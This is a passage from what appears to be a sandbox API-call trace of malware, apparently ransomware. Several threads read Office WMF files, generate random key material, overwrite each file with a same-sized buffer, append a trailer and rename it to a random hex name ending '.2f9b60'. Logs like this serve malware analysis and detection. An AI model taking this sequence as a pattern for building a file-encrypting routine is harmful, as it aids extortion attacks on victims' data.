Flags=0x8, Size=0x62) returned 0x431049c0 [0219.136] wcscat (in: _Dest=0x4315fa60, _Source="2362699930ff" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2362699930ff") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2362699930ff" [0219.136] wcscat (in: _Dest=0x4315fa60, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2362699930ff.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2362699930ff.2f9b60" [0219.136] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2362699930ff.2f9b60", NtPathName=0x3cb7fb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2362699930ff.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4310d760 Thread: id = 3590 os_tid = 0x11d8 [0211.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18230_.wmf")) returned 0x20 [0212.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF", dwFileAttributes=0x20) returned 1 [0212.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18230_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x31c4 [0212.654] GetFileSizeEx (in: hFile=0x31c4, lpFileSize=0x3d64f860 | out: lpFileSize=0x3d64f860*=1828) returned 1 [0212.654] SetFilePointerEx (in: hFile=0x31c4, liDistanceToMove=0x720, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.655] ReadFile (in: hFile=0x31c4, lpBuffer=0x3d64f7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d64f828, lpOverlapped=0x0 | out: lpBuffer=0x3d64f7e0*, lpNumberOfBytesRead=0x3d64f828*=0x4, lpOverlapped=0x0) returned 1 [0213.012] SetFilePointerEx (in: hFile=0x31c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ec0 [0213.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263710 [0213.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262330 [0213.013] NtQuerySystemTime (in: CurrentTime=0x3d64f720 | out: CurrentTime=0x3d64f720*=132462178178770000) returned 0x0 [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x36a05d07 [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x4ef9239c [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x465e3d24 [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x4611b3d0 [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x4fd0b465 [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x12661e5b [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x629adeeb [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x677a408d [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x106c3aca [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x270705c [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x2334455d [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x78dd1e8e [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x3aff747c [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x227c86d5 [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x76b9b775 [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x4b0d5b9 [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x73ef105a [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x11e2ed3d [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x34664625 [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x6c7503c0 [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x489f1eec [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x4801c2d [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x2b4f7181 [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x20c33182 [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x1220ac8e [0213.013] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x2ab0a19d [0213.014] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x364236be [0213.014] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x770aacd6 [0213.014] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x2896bbf4 [0213.014] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x3cb75113 [0213.014] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x757ebc40 [0213.014] RtlRandomEx (in: Seed=0x3d64f710 | out: Seed=0x3d64f710) returned 0x7fdd4f13 [0213.023] ReadFile (in: hFile=0x31c4, lpBuffer=0x42422de0, nNumberOfBytesToRead=0x724, lpNumberOfBytesRead=0x3d64f710, lpOverlapped=0x0 | out: lpBuffer=0x42422de0*, lpNumberOfBytesRead=0x3d64f710*=0x724, lpOverlapped=0x0) returned 1 [0213.023] SetFilePointerEx (in: hFile=0x31c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.023] WriteFile (in: hFile=0x31c4, lpBuffer=0x4241b5c0*, nNumberOfBytesToWrite=0x724, lpNumberOfBytesWritten=0x3d64f714, lpOverlapped=0x0 | out: lpBuffer=0x4241b5c0*, lpNumberOfBytesWritten=0x3d64f714*=0x724, lpOverlapped=0x0) returned 1 [0216.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b80 [0216.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8030 [0216.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8030) returned 1 [0216.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4241b5c0) returned 1 [0216.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42422de0) returned 1 [0216.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0216.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420586f0) returned 1 [0216.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a8030 [0216.049] SetFilePointerEx (in: hFile=0x31c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0216.049] WriteFile (in: hFile=0x31c4, lpBuffer=0x42c15050*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3d64f830, lpOverlapped=0x0 | out: lpBuffer=0x42c15050*, lpNumberOfBytesWritten=0x3d64f830*=0x10a, lpOverlapped=0x0) returned 1 [0219.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61790 [0219.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 [0219.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619a0 [0219.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202619a0) returned 1 [0219.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0219.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619a0 [0219.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635f0 [0219.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202635f0) returned 1 [0219.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0219.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61790) returned 1 [0219.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ade20 [0219.113] sprintf (in: _Dest=0x431ade20, _Format="%c%c" | out: _Dest="50") returned 2 [0219.113] sprintf (in: _Dest=0x431ade22, _Format="%c%c" | out: _Dest="20") returned 2 [0219.113] sprintf (in: _Dest=0x431ade24, _Format="%c%c" | out: _Dest="cd") returned 2 [0219.113] sprintf (in: _Dest=0x431ade26, _Format="%c%c" | out: _Dest="05") returned 2 [0219.113] sprintf (in: _Dest=0x431ade28, _Format="%c%c" | out: _Dest="9b") returned 2 [0219.113] sprintf (in: _Dest=0x431ade2a, _Format="%c%c" | out: _Dest="b2") returned 2 [0219.113] sprintf (in: _Dest=0x431ade2c, _Format="%c%c" | out: _Dest="ef") returned 2 [0219.113] sprintf (in: _Dest=0x431ade2e, _Format="%c%c" | out: _Dest="b4") returned 2 [0219.113] sprintf (in: _Dest=0x431ade30, _Format="%c%c" | out: _Dest="11") returned 2 [0219.113] sprintf (in: _Dest=0x431ade32, _Format="%c%c" | out: _Dest="92") returned 2 [0219.113] sprintf (in: _Dest=0x431ade34, _Format="%c%c" | out: _Dest="e7") returned 2 [0219.113] sprintf (in: _Dest=0x431ade36, _Format="%c%c" | out: _Dest="9e") returned 2 [0219.113] sprintf (in: _Dest=0x431ade38, _Format="%c%c" | out: _Dest="0a") returned 2 [0219.113] sprintf (in: _Dest=0x431ade3a, _Format="%c%c" | out: _Dest="95") returned 2 [0219.113] sprintf (in: _Dest=0x431ade3c, _Format="%c%c" | out: _Dest="b8") returned 2 [0219.113] sprintf (in: _Dest=0x431ade3e, _Format="%c%c" | out: _Dest="3b") returned 2 [0219.113] sprintf (in: _Dest=0x431ade40, _Format="%c%c" | out: _Dest="88") returned 2 [0219.113] sprintf (in: _Dest=0x431ade42, _Format="%c%c" | out: _Dest="0a") returned 2 [0219.113] sprintf (in: _Dest=0x431ade44, _Format="%c%c" | out: _Dest="ed") returned 2 [0219.114] sprintf (in: _Dest=0x431ade46, _Format="%c%c" | out: _Dest="69") returned 2 [0219.114] sprintf (in: _Dest=0x431ade48, _Format="%c%c" | out: _Dest="c8") returned 2 [0219.114] sprintf (in: _Dest=0x431ade4a, _Format="%c%c" | out: _Dest="82") returned 2 [0219.114] sprintf (in: _Dest=0x431ade4c, _Format="%c%c" | out: _Dest="25") returned 2 [0219.114] sprintf (in: _Dest=0x431ade4e, _Format="%c%c" | out: _Dest="60") returned 2 [0219.114] RtlInitAnsiString (in: DestinationString=0x3d64f8a8, SourceString="5020cd059bb2efb41192e79e0a95b83b880aed69c8822560" | out: DestinationString="5020cd059bb2efb41192e79e0a95b83b880aed69c8822560") [0219.114] RtlAnsiStringToUnicodeString (in: DestinationString=0x3d64f878, SourceString="5020cd059bb2efb41192e79e0a95b83b880aed69c8822560", AllocateDestinationString=1 | out: DestinationString="5020cd059bb2efb41192e79e0a95b83b880aed69c8822560") returned 0x0 [0219.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x43104cd0 [0219.114] wcscat (in: _Dest=0x4315f850, _Source="5020cd059bb2" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\5020cd059bb2") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\5020cd059bb2" [0219.114] wcscat (in: _Dest=0x4315f850, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\5020cd059bb2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\5020cd059bb2.2f9b60" [0219.114] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\5020cd059bb2.2f9b60", NtPathName=0x3d64f850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\5020cd059bb2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4310d4f0 Thread: id = 3591 os_tid = 0x11dc [0211.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18231_.wmf")) returned 0x20 [0212.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF", dwFileAttributes=0x20) returned 1 [0212.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18231_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x31d4 [0212.656] GetFileSizeEx (in: hFile=0x31d4, lpFileSize=0x1e15fd60 | out: lpFileSize=0x1e15fd60*=1660) returned 1 [0212.656] SetFilePointerEx (in: hFile=0x31d4, liDistanceToMove=0x678, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.656] ReadFile (in: hFile=0x31d4, lpBuffer=0x1e15fce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e15fd28, lpOverlapped=0x0 | out: lpBuffer=0x1e15fce0*, lpNumberOfBytesRead=0x1e15fd28*=0x4, lpOverlapped=0x0) returned 1 [0213.081] SetFilePointerEx (in: hFile=0x31d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ec0 [0213.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635c0 [0213.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260cb0 [0213.082] NtQuerySystemTime (in: CurrentTime=0x1e15fc20 | out: CurrentTime=0x1e15fc20*=132462178179550000) returned 0x0 [0213.082] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x430c353c [0213.082] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x44e7744b [0213.082] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x274b536 [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x5a09cf03 [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x5ba23a2f [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x73b24c1d [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x35720cef [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x9682b87 [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x543c51ef [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x1e44a548 [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x9e97285 [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x1a67ca32 [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x73897048 [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x7c821e9b [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x3e42ee29 [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x3d847386 [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x2b8bde8a [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x7a9a8176 [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x3190f4e [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x5b0570c0 [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x1f4b40d9 [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x752b4509 [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x72a01dab [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x66ce4c8e [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x208a131e [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x37941093 [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x18f1f8c9 [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0xbb666cb [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x3b2c870d [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x6c10fbbb [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x56de80d1 [0213.083] RtlRandomEx (in: Seed=0x1e15fc10 | out: Seed=0x1e15fc10) returned 0x14aec163 [0213.091] ReadFile (in: hFile=0x31d4, lpBuffer=0x4242a600, nNumberOfBytesToRead=0x67c, lpNumberOfBytesRead=0x1e15fc10, lpOverlapped=0x0 | out: lpBuffer=0x4242a600*, lpNumberOfBytesRead=0x1e15fc10*=0x67c, lpOverlapped=0x0) returned 1 [0213.092] SetFilePointerEx (in: hFile=0x31d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.092] WriteFile (in: hFile=0x31d4, lpBuffer=0x42410190*, nNumberOfBytesToWrite=0x67c, lpNumberOfBytesWritten=0x1e15fc14, lpOverlapped=0x0 | out: lpBuffer=0x42410190*, lpNumberOfBytesWritten=0x1e15fc14*=0x67c, lpOverlapped=0x0) returned 1 [0216.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a67a0 [0216.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6ad0 [0216.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6ad0) returned 1 [0216.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42410190) returned 1 [0216.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4242a600) returned 1 [0216.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8683c0) returned 1 [0216.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61bf0) returned 1 [0216.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a6ad0 [0216.078] SetFilePointerEx (in: hFile=0x31d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0216.078] WriteFile (in: hFile=0x31d4, lpBuffer=0x42c14870*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e15fd30, lpOverlapped=0x0 | out: lpBuffer=0x42c14870*, lpNumberOfBytesWritten=0x1e15fd30*=0x10a, lpOverlapped=0x0) returned 1 [0219.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0219.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 [0219.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262a80 [0219.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262a80) returned 1 [0219.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0219.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262a80 [0219.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260830 [0219.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260830) returned 1 [0219.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0219.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0219.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ade20 [0219.141] sprintf (in: _Dest=0x431ade20, _Format="%c%c" | out: _Dest="96") returned 2 [0219.141] sprintf (in: _Dest=0x431ade22, _Format="%c%c" | out: _Dest="f1") returned 2 [0219.141] sprintf (in: _Dest=0x431ade24, _Format="%c%c" | out: _Dest="90") returned 2 [0219.141] sprintf (in: _Dest=0x431ade26, _Format="%c%c" | out: _Dest="c0") returned 2 [0219.141] sprintf (in: _Dest=0x431ade28, _Format="%c%c" | out: _Dest="48") returned 2 [0219.141] sprintf (in: _Dest=0x431ade2a, _Format="%c%c" | out: _Dest="a2") returned 2 [0219.141] sprintf (in: _Dest=0x431ade2c, _Format="%c%c" | out: _Dest="e1") returned 2 [0219.141] sprintf (in: _Dest=0x431ade2e, _Format="%c%c" | out: _Dest="20") returned 2 [0219.141] sprintf (in: _Dest=0x431ade30, _Format="%c%c" | out: _Dest="db") returned 2 [0219.141] sprintf (in: _Dest=0x431ade32, _Format="%c%c" | out: _Dest="ed") returned 2 [0219.141] sprintf (in: _Dest=0x431ade34, _Format="%c%c" | out: _Dest="8d") returned 2 [0219.141] sprintf (in: _Dest=0x431ade36, _Format="%c%c" | out: _Dest="a4") returned 2 [0219.141] sprintf (in: _Dest=0x431ade38, _Format="%c%c" | out: _Dest="6c") returned 2 [0219.141] sprintf (in: _Dest=0x431ade3a, _Format="%c%c" | out: _Dest="c1") returned 2 [0219.141] sprintf (in: _Dest=0x431ade3c, _Format="%c%c" | out: _Dest="65") returned 2 [0219.141] sprintf (in: _Dest=0x431ade3e, _Format="%c%c" | out: _Dest="8c") returned 2 [0219.141] sprintf (in: _Dest=0x431ade40, _Format="%c%c" | out: _Dest="74") returned 2 [0219.141] sprintf (in: _Dest=0x431ade42, _Format="%c%c" | out: _Dest="10") returned 2 [0219.141] sprintf (in: _Dest=0x431ade44, _Format="%c%c" | out: _Dest="bf") returned 2 [0219.141] sprintf (in: _Dest=0x431ade46, _Format="%c%c" | out: _Dest="e7") returned 2 [0219.141] sprintf (in: _Dest=0x431ade48, _Format="%c%c" | out: _Dest="a9") returned 2 [0219.141] sprintf (in: _Dest=0x431ade4a, _Format="%c%c" | out: _Dest="1f") returned 2 [0219.141] sprintf (in: _Dest=0x431ade4c, _Format="%c%c" | out: _Dest="fa") returned 2 [0219.141] sprintf (in: _Dest=0x431ade4e, _Format="%c%c" | out: _Dest="bc") returned 2 [0219.141] RtlInitAnsiString (in: DestinationString=0x1e15fda8, SourceString="96f190c048a2e120dbed8da46cc1658c7410bfe7a91ffabc" | out: DestinationString="96f190c048a2e120dbed8da46cc1658c7410bfe7a91ffabc") [0219.141] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e15fd78, SourceString="96f190c048a2e120dbed8da46cc1658c7410bfe7a91ffabc", AllocateDestinationString=1 | out: DestinationString="96f190c048a2e120dbed8da46cc1658c7410bfe7a91ffabc") returned 0x0 [0219.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x43104950 [0219.142] wcscat (in: _Dest=0x4315fb10, _Source="96f190c048a2" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\96f190c048a2") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\96f190c048a2" [0219.142] wcscat (in: _Dest=0x4315fb10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\96f190c048a2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\96f190c048a2.2f9b60" [0219.142] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\96f190c048a2.2f9b60", NtPathName=0x1e15fd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\96f190c048a2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4310d830 [0243.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310d830) returned 1 [0243.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4307dbe0) returned 1 [0243.786] NtQueryInformationFile (in: FileHandle=0x31d4, IoStatusBlock=0x1e15fdb8, FileInformation=0x1e15fdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e15fdb8, FileInformation=0x1e15fdc8) returned 0x0 [0243.786] NtSetInformationFile (FileHandle=0x31d4, IoStatusBlock=0x1e15fdb8, FileInformation=0x1e15fdc8, Length=0x28, FileInformationClass=0x4) Thread: id = 3656 os_tid = 0x1898 [0213.587] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\ba308d361c50fe16c03656034e11323dfd7260899766674ac78ecda8b9e20e06a8148.2f9b60" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\ba308d361c50fe16c03656034e11323dfd7260899766674ac78ecda8b9e20e06a8148.2f9b60")) returned 0x2024 [0213.587] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\ba308d361c50fe16c03656034e11323dfd7260899766674ac78ecda8b9e20e06a8148.2f9b60", dwFileAttributes=0x20) returned 1 [0219.877] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\ba308d361c50fe16c03656034e11323dfd7260899766674ac78ecda8b9e20e06a8148.2f9b60" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\ba308d361c50fe16c03656034e11323dfd7260899766674ac78ecda8b9e20e06a8148.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, 